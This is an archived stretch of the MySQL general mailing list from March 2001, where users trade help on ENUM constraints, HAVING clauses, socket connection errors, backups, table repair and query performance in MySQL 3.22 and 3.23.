Hi. You can use an ENUM column type assuming the numerical range is less than 65535 numbers. http://www.mysql.com/doc/E/N/ENUM.html -ravi. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 11:05 AM To: [EMAIL PROTECTED] Subject: Second Request - Limit Filed Input Is there a way in MySQL to limit the values that a (numeric) field can hold. For example if I want a given field to only have the values 1 - 10 can I do this and can it be done in the definition of the field when the table is created? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
you can use either an ENUM or a SET. Other than that, no. Cal http://www.calevans.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 10:05 AM To: [EMAIL PROTECTED] Subject: Second Request - Limit Filed Input Is there a way in MySQL to limit the values that a (numeric) field can hold. For example if I want a given field to only have the values 1 - 10 can I do this and can it be done in the definition of the field when the table is created? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: select ... having bug?
Having works on the result table, not the source tables. Since you did not select cnt, having can not examine it. Maybe you ment 'where' instead of 'having' ? \"Piotr Gapinski\" wrote: small problems with query below... my fault? mysql desc poll_answer; +-+-+--+-+-+---+ | Field | Type|Null | Key | Default | Extra | +-+-+--+-+-+---+ | poll_id | int(10) | | | 0 | | | cnt | int(10) | | | 0 | | | answer | varchar(60) | | | | | +-+-+--+-+-+---+ 3 rows in set (0.00 sec) mysql select answer from poll_answer having cnt=1; ERROR 1054: Unknown column 'cnt' in 'having clause' mysqladmin Ver 8.18 Distrib 3.23.35, for pc-linux-gnu on i686 -- Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 3.23.35 Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/lib/mysql/mysql.sock Uptime: 3 days 10 hours 24 min 20 sec Threads: 1 Questions: 4192 Slow queries: 0 Opens: 116 Flush tables: 1 Open tables: 23 Queries per second avg: 0.014 -- Piotr Gapinski mailto:[EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
try: [mysql] mysql.default_socket = /temp/mysql.sock Cal http://www.calevans.com -Original Message- From: denis mettler [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 10:40 AM To: [EMAIL PROTECTED] Subject: Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, i deleted mysql in /var and make re-install in /usr/local/ but received the same error. so i make an entry in the php3.ini [mysql] mysql.default_socket = /temp where i found the mysql.sock the error message is still there? Other ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MySql backup and restore.
Hi, If I use "mysqlhotcopy database/pathToTheBackupDirectory/" to backup the whole database, what's the script/command to restore it? Thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
3.23.35 mysqlimport Doesn't Report Stats (resent)
After upgrading from 3.23.32 to 3.23.35 I stopped getting statistics when using mysqlimport. (Records: Deleted: Skipped: Warnings:) I took a quick look at 3.23.32 mysqlimport.c and it is the same code as 3.23.35. The command --- mysqlimport --ignore --verbose --fields-terminated-by=',' --fields-enclosed-by='"' traffic $BFILE From 3.23.32 (is OK) Connecting to localhost Selecting database traffic Loading data from SERVER file: /usr/local/MYSQL/DB/traffic/LOADDIR/blockedHistory.asc into blockedHistory traffic.blockedHistory: Records: 269 Deleted: 0 Skipped: 0 Warnings: 0 ^^ ^^ ^^^ Disconnecting from localhost From 3.23.35 (No Statistics) Connecting to localhost Selecting database traffic Loading data from SERVER file: /usr/local/MYSQL/DB/traffic/LOADDIR/blockedHistory.asc into blockedHistory traffic.blockedHistory: ^^ ^^ ^^^ Disconnecting from localhost -( Nick Pasich )- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MySQL 3.22.32 and RedHat 7.0
Add execute permission to mysql.server. It is compiled without it. Tim Thorburn wrote: Hello, I'm a MySQL newbie (hopefully, there's a few others of me around so I won't feel like I stick out so much). I've setup a Linux box running Red Hat 7.0 with Apache 1.3.12, PHP 3.0.18, and MySQL 3.22.32 (I know its an older version, but our web hosting service has not upgraded their version and it does not sound as though they plan to do so any time soon). All seems to be running well, except for the unfortunate problem that I cannot get mysql to start. I have followed the steps in the documentation provided with the source code from mysql.com I have MySQL installed at /usr/local/mysql-3.22.32/ when I type mysql.server start I am told that either the file does not exist or I have no permission to use it. I'm logged on as root, and I've setup the user and group to mysql as the manual states. Has anyone else had any difficulties getting MySQL and RedHat 7.0 to work? As I said, I'm rather new at this so I'm grabbing at straws. Thank you -Tim - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
How to put and get gziped file to/from mysql db
Hello I am looking for help how to put gziped plain data file to mysql DB and then get it from there. Every time I try OUTFILE to file and then gzip -d file name I got file corrupted Any help will be appreciated Leo ** The information contained herein is confidential and is intended solely for the addressee(s). It shall not be construed as a recommendation to buy or sell any security. Any unauthorized access, use, reproduction, disclosure or dissemination is prohibited. Neither SOCIETE GENERALE nor any of its subsidiaries or affiliates shall assume any legal liability or responsibility for any incorrect, misleading or altered information contained herein. ** - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
Hi, I did. but the problem is the same. regards denis On Tuesday 20 March 2001 17:45, you wrote: try: [mysql] mysql.default_socket = /temp/mysql.sock Cal http://www.calevans.com -Original Message- From: denis mettler [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 10:40 AM To: [EMAIL PROTECTED] Subject: Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, i deleted mysql in /var and make re-install in /usr/local/ but received the same error. so i make an entry in the php3.ini [mysql] mysql.default_socket = /temp where i found the mysql.sock the error message is still there? Other ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: mysql 3.22.32
houda chraibi wrote: Hello everybody, I have some pb to administrate mysql, I can't create a new database error: you are an anonymous localhost I just can create a new tables in database already exist. what can I do , please help m!!! Read chapter 6sss!!! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Question for the mysql install..
You mus use GNU tar. wrote: Hello!! I have a question for the mysql install. Type of mysqlsource distribution Mysql Versionmysql-3.22.32.tar.gz My System SunOS stachyonbse01 5.7 Generic sun4u sparc SUNW,Ultra-60 After upload gunzip mysql-3.22.34.tar.gz | tar -xvf - Result of the above command(gunzip,tar) follows: . . x mysql-3.23.35/sql-bench/Results/wisconsin-solid-Linux_2.0.36_i686-cmp-mysql,pg,solid, 676 bytes, 2 (tape block) x mysql-3.23.35/sql-bench/Results-win32, 0 bytes, 0 (tape block) x mysql-3.23.35/sql-bench/Results-win32/ATIS-access_odbc-win98-cmp-access,mysql, 978 bytes, 2 (tape block) tar: (Directory) Checksum (error) Because of this directory's checksum error, I confused whether I continued installing or not. In spite of this error I continued installing this program , So the following message is displayed. make make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' Making all in support-files make[2]: Entering directory `/data1/kkablue/mysql/mysql-3.22.32/support-files' make[2]: *** No rule to make target `all'. Stop. make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/support-files' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32' make: *** [all-recursive-am] Error 2 make install cp: ./limits make[2]: *** [install-data-local] Error 2 make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' make[1]: *** [install-am] Error 2 make[1]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' make: *** [install-recursive] Error 1 What can i do for it, Please I will thank you to tell me how to install this program successful. Thank you for your attention !! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
speed problems
Hello, I encountered following problem: when using older mysql (3.22.23 vs 3.23.33) then older is about 4-6 times faster on the same machine. What could be the problem? Sytem is Debian 2.2r2, older mysql was from .deb but newer i built myself. The query looks like this: SELECT f.foto_id, f.imgname, f.path FROM foto f, indeks k1, indeks k2 WHERE f.foto_id = k1.foto_id AND k1.word = 'mati' AND f.foto_id = k2.foto_id AND k2.word = 'kose' GROUP BY f.foto_id; Where foto has ~8000 rows and indeks has ~15 rows (words) and result has 1266 rows. Here are some testing results on different machines and op. systems: 3.22.32- 3 sec (Debian, PIII 600) 3.22.32- 6 sec (Debian, Cel 333A) 3.23.32- 24 sec (RH7, Dual PIII 500) 3.23.33- 36 sec (Debian, Cel 333A) 3.23.29a-gamma - 71 sec (FreeBSD, PIII 550) 3.23.29a-gamma - 90 sec (FreeBSD, Cel 333A) And what is most amazing... It's SOO slow on BSD. I wonder why? Or are there any ways to make this query faster? Sometimes there will be even 3 or more words (here only 'mati' and 'kose'). Rgds, Viljo - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
re: table handler prob
Hi again No .. not really that big (the table) -rw-rw 1 mysqlmysql 100916 Mar 16 17:09 imp_addr.ISD -rw-rw 1 mysqlmysql1024 Mar 16 17:09 imp_addr.ISM -rw-rw 1 mysqlmysql8648 Mar 9 11:06 imp_addr.frm 100K the ISD part ... anyway i have tried to " imp_addr.ISD" to put it 0 lenght ... but no luck :((( ANYONE ??? On Fri, 16 Mar 2001, Gerald L. Clark wrote: Nuno Ferreira wrote: Hi again. I've been reading all the archieve files about a error i get when trying to do any sql thing with a table. check this out ... mysql select * from imp_addr; ERROR 1030: Got error 127 from table handler than i did what everyone says to do with a problem like this ... isamchk -o imp_addr.ISM - recovering ISAM-table 'imp_addr.ISM' Data records: 1223 isamchk -r imp_addr.ISM - recovering ISAM-table 'imp_addr.ISM' Data records: 1223 and tried all the recovering methos available. When i use the "-e" option with the "-r" the output is this ... # isamchk -e imp_addr.ISM Checking ISAM file: imp_addr.ISM Data records:1223 Deleted blocks: 0 - check file-size - check delete-chain - check index reference - check records and index references [root@thor horde]# isamchk -e -r -f imp_addr.ISM - recovering ISAM-table 'imp_addr.ISM' Data records: 1223 Found block with too small length at 297; Skipped Found block with too small length at 1558; Skipped Found block with too small length at 1955; Skipped Found link that points at 1342181235 (outside data file) at 2254 Found block with too small length at 2504; Skipped Found link that points at 1157628996 (outside data file) at 3601 Found link that points at 1258418244 (outside data file) at 3607 Found block with too small length at 4543; Skipped Found block with too small length at 5053; Skipped Found link that points at 1744831599 (outside data file) at 5644 Found link that points at 1107423343 (outside data file) at 5650 Found block with too small length at 5713; Skipped Found block with too small length at 5719; Skipped Found block with too small length at 6190; Skipped Found block with too small length at 7072; Skipped Found block with too small length at 7214; Skipped Found block with too small length at 7293; Skipped Found block with too small length at 7377; Skipped Found block with too small length at 7880; Skipped Found block with too small length at 8892; Skipped Found block with too small length at 9286; Skipped Found block with too small length at 9370; Skipped Found block with too small length at 9439; Skipped Found block with too small length at 9835; Skipped Found block with too small length at 10649; Skipped Found link that points at 1660946017 (outside data file) at 10788 Found block with too small length at 11290; Skipped Found block with too small length at 12131; Skipped Found block with too small length at 12137; Skipped Found block with too small length at 12844; Skipped Found block with too small length at 13878; Skipped Found block with too small length at 14391; Skipped Found block with too small length at 14475; Skipped Found block with too small length at 15776; Skipped Found block with too small length at 15927; Skipped Found block with too small length at 16010; Skipped Found block with too small length at 16080; Skipped Found block with too small length at 16203; Skipped Found block with too small length at 16209; Skipped and it goes on and on for like more 20 lines or so .. Can anyone help me ??? i really need this table recovered ... Thanks -- Looks to me like you have exceded the 2G File size limit. You need Myisam tables, and a filesystem that supports files larger than 2G. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- --- Nuno Ferreira mailto:[EMAIL PROTECTED] http://www.lusoweb.pt --- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: How to put and get gziped file to/from mysql db
On Tue, Mar 20, 2001 at 11:55:59AM -0500, [EMAIL PROTECTED] wrote: Hello I am looking for help how to put gziped plain data file to mysql DB and then get it from there. Every time I try OUTFILE to file and then gzip -d file name I got file corrupted Any help will be appreciated Are you sure you want -d with that? gzip -d decompresses an already compressed file; maybe you want to just gzip it first. G'luck, Peter -- I had to translate this sentence into English because I could not read the original Sanskrit. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
My question is that, why is he trying to connect through socket in /var/lib/mysql cause i have installes in /usr/local and the path to the mysql.sock is in php3.ini /temp/mysql.sock any ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: why 3 processes?
On Tue, Mar 20, 2001 at 10:51:14AM -0500, Nick Taylor wrote: Howdy: New guy to MySql and just installed 3.23 to my redhat 6.2 server. Was wondering why I get 3 processes started for mysqld. Because that's how the Linux kernel implements threads. (This seems to come up every week.) Jeremy -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MySql backup and restore.
You dont need a script or command to restore the database, mysqlhotcopy just creates a copy of your database files (.MYI, etc.) in the /pathToTheBackupDirectory/. It basicaly performs the same function as the unix command cp, only it does the necessary locking, etc. John Barton Unix Systems Administrator Primary Networks, Inc. [EMAIL PROTECTED] On Tue, 20 Mar 2001, Zhu George-CZZ010 wrote: Hi, If I use "mysqlhotcopy database/pathToTheBackupDirectory/" to backup the whole database, what's the script/command to restore it? Thanks - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: why 3 processes?
Thank you, very much. Just glad to know nothing wrong. Nick - Original Message - From: "Jeremy D. Zawodny" [EMAIL PROTECTED] To: "Nick Taylor" [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 12:20 PM Subject: Re: why 3 processes? On Tue, Mar 20, 2001 at 10:51:14AM -0500, Nick Taylor wrote: Howdy: New guy to MySql and just installed 3.23 to my redhat 6.2 server. Was wondering why I get 3 processes started for mysqld. Because that's how the Linux kernel implements threads. (This seems to come up every week.) Jeremy -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
It is more likely /tmp/mysql.sock tmp has no 'e'. denis mettler wrote: Hi, I did. but the problem is the same. regards denis On Tuesday 20 March 2001 17:45, you wrote: try: [mysql] mysql.default_socket = /temp/mysql.sock Cal http://www.calevans.com -Original Message- From: denis mettler [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 10:40 AM To: [EMAIL PROTECTED] Subject: Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, i deleted mysql in /var and make re-install in /usr/local/ but received the same error. so i make an entry in the php3.ini [mysql] mysql.default_socket = /temp where i found the mysql.sock the error message is still there? Other ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: How to put and get gziped file to/from mysql db
Did you quote the data before inserting it? [EMAIL PROTECTED] wrote: Hello I am looking for help how to put gziped plain data file to mysql DB and then get it from there. Every time I try OUTFILE to file and then gzip -d file name I got file corrupted Any help will be appreciated Leo ** The information contained herein is confidential and is intended solely for the addressee(s). It shall not be construed as a recommendation to buy or sell any security. Any unauthorized access, use, reproduction, disclosure or dissemination is prohibited. Neither SOCIETE GENERALE nor any of its subsidiaries or affiliates shall assume any legal liability or responsibility for any incorrect, misleading or altered information contained herein. ** - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
At 11:22 AM 3/20/2001 -0500, Ravi Raman wrote: You can use an ENUM column type assuming the numerical range is less than 65535 numbers. http://www.mysql.com/doc/E/N/ENUM.html One problem I've seen with enums is that I end up with a blank ('') field if I try to insert a row with a value in the enum column that doesn't fit. Is there a way to get the insert to fail on "bad input" instead? For example: mysql CREATE TABLE Stats ( - Status enum('good','bad') NOT NULL - ); Query OK, 0 rows affected (0.00 sec) mysql INSERT INTO Stats VALUES ('neither'); Query OK, 1 row affected (0.00 sec) (Can I get this insert to FAIL instead? because...) mysql select * FROM Stats; ++ | Status | ++ || ++ 1 row in set (0.01 sec) (this isn't always a good thing). -bill - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Read/write table lock
Hi to all: Somebody knows how to make a read/writa table lock? I'm trying with java source: stmt.execute("LOCK TABLES table-x READ, table-x WRITE"); stmt.execute("UNLOCK TABLES"); but it fails. Best regards, Fabio Galarraga [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
